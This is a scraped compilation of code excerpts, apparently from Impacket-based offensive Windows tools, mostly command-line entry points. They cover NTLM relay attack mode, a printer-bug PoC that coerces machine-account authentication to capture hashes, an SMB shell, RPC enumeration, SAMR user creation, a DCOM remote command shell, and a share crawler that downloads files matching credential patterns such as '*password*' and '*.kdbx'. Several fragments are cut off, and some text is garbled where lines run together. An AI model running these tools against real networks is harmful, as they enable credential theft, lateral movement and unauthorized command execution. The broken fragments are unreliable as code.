        mode = 'ATTACK'
        targetSystem = TargetsProcessor(singleTarget=options.target,
                                        protocolClients=PROTOCOL_CLIENTS)
    else:
        if options.tf is not None:
            #Targetfile specified
            logging.info("Running in attack mode to hosts in targetfile")
            targetSystem = TargetsProcessor(targetListFile=options.tf,
                                            protocolClients=PROTOCOL_CLIENTS)
            mode = 'ATTACK'
        else:
            logging.info(
                "Running in export mode (all tickets will be saved to disk)")
            targetSystem = None
            mode = 'EXPORT'

    if options.r is not None:
        logging.info("Running HTTP server in redirect mode")

    if targetSystem is not None and options.w:
        watchthread = TargetsFileWatcher(targetSystem)
        watchthread.start()

    threads = set()

    c = start_servers(options, threads)

    print ""
    logging.info("Servers started, waiting for connections")
    try:
        sys.stdin.read()
    except KeyboardInterrupt:
        pass
    else:
        pass

    for s in threads:
        del s

    sys.exit(0)
Beispiel #14
0
def main():

    # globals
    global target
    global listener
    global debug
    global show_banner
    logger.init()

    parser = argparse.ArgumentParser(
        add_help=True,
        description=
        "dementor - rough PoC to connect to spoolss to elicit machine account authentication (implementation by @3xocyte, idea/discovery by @tifkin_, rediscovery and code fixes by @elad_shamir)"
    )
    parser.add_argument('-u',
                        '--username',
                        action="store",
                        default='',
                        help='valid username')
    parser.add_argument('-p',
                        '--password',
                        action="store",
                        default='',
                        help='valid password')
    parser.add_argument('-d',
                        '--domain',
                        action="store",
                        default='',
                        help='valid domain name')
    parser.add_argument('--ntlm', action="store", default='', help='nt hash')
    parser.add_argument('--server',
                        action='store_true',
                        default=False,
                        help='create smb listener')
    parser.add_argument('--debug',
                        action="store_true",
                        default=False,
                        help='enable debugging')
    parser.add_argument('-q',
                        '--banner',
                        action="store_true",
                        default=False,
                        help='show banner')
    parser.add_argument('listener', help='ip address or hostname of listener')
    parser.add_argument('target', help='ip address or hostname of target')

    options = parser.parse_args()

    domain = options.domain
    username = options.username
    password = options.password
    ntlm = options.ntlm
    server = options.server
    listener = options.listener
    target = options.target
    debug = options.debug
    banner = options.banner

    if banner is True:
        print(show_banner)

    if server is True:
        logging.info("starting smb server...")
        server_thread = SMBServer()
        server_thread.daemon = True
        server_thread.start()
        sleep(1)  # ensure server starts before continuing
        logging.info("server running")

    dce = create_connection(domain, username, password, ntlm)
    handle = call_open_printer(dce)
    grab_hash(dce, handle, listener)
    logging.info("done!")
    dce.disconnect()
    sys.exit()
def main():
    # Init the example's logger theme
    logger.init()
    print(version.BANNER)
    parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.")

    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
    parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')

    group = parser.add_argument_group('authentication')

    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
                                                       '(KRB5CCNAME) based on target parameters. If valid credentials '
                                                       'cannot be found, it will use the ones specified in the command '
                                                       'line')
    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
                                                                            '(128 or 256 bits)')

    group = parser.add_argument_group('connection')

    group.add_argument('-dc-ip', action='store', metavar="ip address",
                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
                            'the target parameter')
    group.add_argument('-target-ip', action='store', metavar="ip address",
                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
                            'This is useful when target is the NetBIOS name and you cannot resolve it')
    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
                       help='Destination port to connect to SMB Server')

    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
    else:
        logging.getLogger().setLevel(logging.INFO)

    import re
    domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
        options.target).groups('')

    #In case the password contains '@'
    if '@' in address:
        password = password + '@' + address.rpartition('@')[0]
        address = address.rpartition('@')[2]

    if options.target_ip is None:
        options.target_ip = address

    if domain is None:
        domain = ''

    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
        from getpass import getpass
        password = getpass("Password:"******"Executing commands from %s" % options.file.name)
            for line in options.file.readlines():
                if line[0] != '#':
                    print("# %s" % line, end=' ')
                    shell.onecmd(line)
                else:
                    print(line, end=' ')
        else:
            shell.cmdloop()
    except Exception as e:
        if logging.getLogger().level == logging.DEBUG:
            import traceback
            traceback.print_exc()
        logging.error(str(e))
Beispiel #16
0
def main(args):
  # Init the example's logger theme
  logger.init()
  if len(args) != 2:
    print "usage: ./ifmap.py <host> <port>"
    return 1

  host = args[0]
  port = int(args[1])

  stringbinding = "ncacn_ip_tcp:%s" % host
  trans = transport.DCERPCTransportFactory(stringbinding)
  trans.set_dport(port)

  dce = trans.get_dce_rpc()
  dce.connect()

  dce.bind(mgmt.MSRPC_UUID_MGMT)

  ifids = mgmt.hinq_if_ids(dce)

  uuidtups = set(
    uuid.bin_to_uuidtup(ifids['if_id_vector']['if_id'][index]['Data'].getData())
    for index in range(ifids['if_id_vector']['count'])
  )

  dce.disconnect()

  probes = uuidtups | uuid_database

  for tup in sorted(probes):

    dce.connect()

    binuuid = uuid.uuidtup_to_bin(tup)
    try:
      dce.bind(binuuid)
    except rpcrt.DCERPCException, e:
      if str(e).find('abstract_syntax_not_supported') >= 0:
        listening = False
      else:
        raise
    else:
      listening = True

    listed = tup in uuidtups
    otherversion = any(tup[0] == uuidstr for uuidstr, ver in uuidtups)
    if listed or listening:
      print "%r: %s, %s" % (
        tup,
        "listed" if listed else "other version listed" if otherversion else "not listed",
        "listening" if listening else "not listening"
      )
      if epm.KNOWN_PROTOCOLS.has_key(tup[0]):
          print "Protocol: %s" % (epm.KNOWN_PROTOCOLS[tup[0]])
      else:
          print "Procotol: N/A"

      if KNOWN_UUIDS.has_key(uuid.uuidtup_to_bin(tup)[:18]):
          print "Provider: %s" % (KNOWN_UUIDS[uuid.uuidtup_to_bin(tup)[:18]])
      else:
          print "Provider: N/A"
def main():
    # Init the example's logger theme
    logger.init()
    print(version.BANNER)

    parser = argparse.ArgumentParser(
        add_help=True, description="Reads data from registry hives.")

    parser.add_argument('hive', action='store', help='registry hive to open')
    subparsers = parser.add_subparsers(help='actions', dest='action')
    # A enum_key command
    enumkey_parser = subparsers.add_parser(
        'enum_key',
        help='enumerates the subkeys of the specified open registry key')
    enumkey_parser.add_argument('-name',
                                action='store',
                                required=True,
                                help='registry key')
    enumkey_parser.add_argument('-recursive',
                                dest='recursive',
                                action='store_true',
                                required=False,
                                help='recursive search (default False)')

    # A enum_values command
    enumvalues_parser = subparsers.add_parser(
        'enum_values',
        help='enumerates the values for the specified open registry key')
    enumvalues_parser.add_argument('-name',
                                   action='store',
                                   required=True,
                                   help='registry key')

    # A get_value command
    getvalue_parser = subparsers.add_parser(
        'get_value',
        help='retrieves the data for the specified registry value')
    getvalue_parser.add_argument('-name',
                                 action='store',
                                 required=True,
                                 help='registry value')

    # A get_class command
    getclass_parser = subparsers.add_parser(
        'get_class',
        help='retrieves the data for the specified registry class')
    getclass_parser.add_argument('-name',
                                 action='store',
                                 required=True,
                                 help='registry class name')

    # A walk command
    walk_parser = subparsers.add_parser(
        'walk', help='walks the registry from the name node down')
    walk_parser.add_argument(
        '-name',
        action='store',
        required=True,
        help='registry class name to start walking down from')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    reg = winregistry.Registry(options.hive)

    if options.action.upper() == 'ENUM_KEY':
        print("[%s]" % options.name)
        enumKey(reg, options.name, options.recursive)
    elif options.action.upper() == 'ENUM_VALUES':
        enumValues(reg, options.name)
    elif options.action.upper() == 'GET_VALUE':
        getValue(reg, options.name)
    elif options.action.upper() == 'GET_CLASS':
        getClass(reg, options.name)
    elif options.action.upper() == 'WALK':
        walk(reg, options.name)

    reg.close()
Beispiel #18
0
    if options.command == 'list':
        if options.object == 'user':
            users = samr_connection.list_users(remote_name, options.target_ip)
            for user in users:
                print(user)
        elif options.object == 'group':
            groups = samr_connection.list_groups(remote_name,
                                                 options.target_ip)
            for group in groups:
                print(group)
    elif options.command == 'create':
        if options.object == 'user':
            samr_connection.create_user(remote_name, options.target_ip,
                                        options.name, USER_NORMAL_ACCOUNT)
        elif options.object == 'group':
            samr_connection.create_group(remote_name, options.target_ip,
                                         options.name)


if __name__ == '__main__':
    # Init the example's logger theme
    logger.init()
    # Explicitly changing the stdout encoding format
    if sys.stdout.encoding is None:
        # Output is redirected to a file
        sys.stdout = codecs.getwriter('utf8')(sys.stdout)
    print(version.BANNER)

    main()
Beispiel #19
0
        if k=='username':
            username=v
        elif k=='password':
            password=v
        elif k=='domain':
            domain=v
        else:
            raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k))

    return (domain, username, password)

# Process command-line arguments.
if __name__ == '__main__':
    # Init the example's logger theme
    logger.init()
    print version.BANNER

    parser = argparse.ArgumentParser(add_help = True, description = "Executes a semi-interactive shell using the "
                                                                    "ShellBrowserWindow DCOM object.")
    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
    parser.add_argument('-share', action='store', default = 'ADMIN$', help='share where the output will be grabbed from '
                                                                           '(default ADMIN$)')
    parser.add_argument('-nooutput', action='store_true', default = False, help='whether or not to print the output '
                                                                                '(no SMB connection created)')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
    parser.add_argument('-object', choices=['ShellWindows', 'ShellBrowserWindow', 'MMC20'], nargs='?', default='ShellWindows',
                        help='DCOM object to be used to execute the shell command (default=ShellWindows)')

    parser.add_argument('command', nargs='*', default = ' ', help='command to execute at the target. If empty it will '
                                                                  'launch a semi-interactive shell')
Beispiel #20
0
def main():
    # Init the example's logger theme
    logger.init()
    print(version.BANNER)
    parser = argparse.ArgumentParser(add_help=True,
                                     description="SMB client implementation.")

    parser.add_argument(
        'target',
        action='store',
        help='[[domain/]username[:password]@]<targetName or address>')
    parser.add_argument(
        '-ff',
        type=argparse.FileType('r'),
        help=
        'file containing search filters, one filter each line. filters are used '
        'to assess whether or not a filename is interesting. Wildcards are accepted.'
        ' If no file is provided, the following filters will apply: "*password*", '
        '"*sensitive*", "*admin*", "*login*", "*secret*", "unattend*.xml", '
        '"*.vmdk", "*creds*", "*credential*", "*.config", "*.kdbx"')
    parser.add_argument('-share',
                        action="store",
                        metavar="Share name",
                        help='Required. Name of the share to search in',
                        required=True)
    parser.add_argument(
        '-of',
        action="store",
        metavar="Output folder",
        default='saved_files/',
        help=
        'Folder on the local machine where the interesting files will be saved. '
        'Defaults to "saved_files"')
    parser.add_argument('-path',
                        action="store",
                        metavar="PATH",
                        default='\\',
                        help='Path in the selected share to start the search. '
                        'Defaults to the root folder "\\"')
    parser.add_argument(
        '-depth',
        action="store",
        metavar="Number",
        default=0,
        help=
        'Depth of the search in the share subfolders. Defaults to 0 (no depth limit)',
        type=int)
    parser.add_argument(
        '-max_file_size',
        action="store",
        metavar="Number",
        default=0,
        help=
        'Maximum size of interesting files in bytes. If exceeded, the file will not be downloaded. '
        'Defaults to 0 (no file size limit)',
        type=int)
    parser.add_argument(
        '-list-only',
        action="store_true",
        help='Switch: only list interesting files and don\'t download them')
    parser.add_argument(
        '-list-all',
        action="store_true",
        help='Switch: list all files without filtering and don\'t download them'
    )
    parser.add_argument('-debug',
                        action='store_true',
                        help='Turn DEBUG output ON')

    group = parser.add_argument_group('authentication')

    group.add_argument('-hashes',
                       action="store",
                       metavar="LMHASH:NTHASH",
                       help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass',
                       action="store_true",
                       help='don\'t ask for password (useful for -k)')
    group.add_argument(
        '-k',
        action="store_true",
        help='Use Kerberos authentication. Grabs credentials from ccache file '
        '(KRB5CCNAME) based on target parameters. If valid credentials '
        'cannot be found, it will use the ones specified in the command '
        'line')
    group.add_argument('-aesKey',
                       action="store",
                       metavar="hex key",
                       help='AES key to use for Kerberos Authentication '
                       '(128 or 256 bits)')

    group = parser.add_argument_group('connection')

    group.add_argument(
        '-dc-ip',
        action='store',
        metavar="ip address",
        help=
        'IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
        'the target parameter')
    group.add_argument(
        '-target-ip',
        action='store',
        metavar="ip address",
        help=
        'IP Address of the target machine. If omitted it will use whatever was specified as target. '
        'This is useful when target is the NetBIOS name and you cannot resolve it'
    )
    group.add_argument('-port',
                       choices=['139', '445'],
                       nargs='?',
                       default='445',
                       metavar="destination port",
                       help='Destination port to connect to SMB Server')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
    else:
        logging.getLogger().setLevel(logging.INFO)

    import re
    domain, username, password, address = re.compile(
        '(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
            options.target).groups('')

    #In case the password contains '@'
    if '@' in address:
        password = password + '@' + address.rpartition('@')[0]
        address = address.rpartition('@')[2]

    if options.target_ip is None:
        options.target_ip = address

    if domain is None:
        domain = ''

    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
        from getpass import getpass
        password = getpass("Password:"******"*"]
        elif options.ff is not None:
            for line in options.ff.readlines():
                filters.append(line.replace('\n', '').lower())
        else:
            filters = [
                "*password*", "*sensitive*", "*admin*", "*login*", "*secret*",
                "unattend*.xml", "*.vmdk", "*creds*", "*credential*",
                "*.config", "*.kdbx"
            ]
        if options.list_only is True or options.list_all is True:
            download_files = False
        else:
            download_files = True

        logging.debug("Starting the search with the following filters: %s" %
                      (', '.join('"{0}"'.format(f) for f in filters)))

        finder = GetInterestingFiles(smbClient, options.share, options.path,
                                     filters, options.of, options.depth,
                                     options.max_file_size, download_files)
        finder.do_recursive()

        logging.info(
            "Search completed. saved files (if any) are to be found in the following folder: %s"
            % (options.of))
    except Exception as e:
        if logging.getLogger().level == logging.DEBUG:
            import traceback
            traceback.print_exc()
        logging.error(str(e))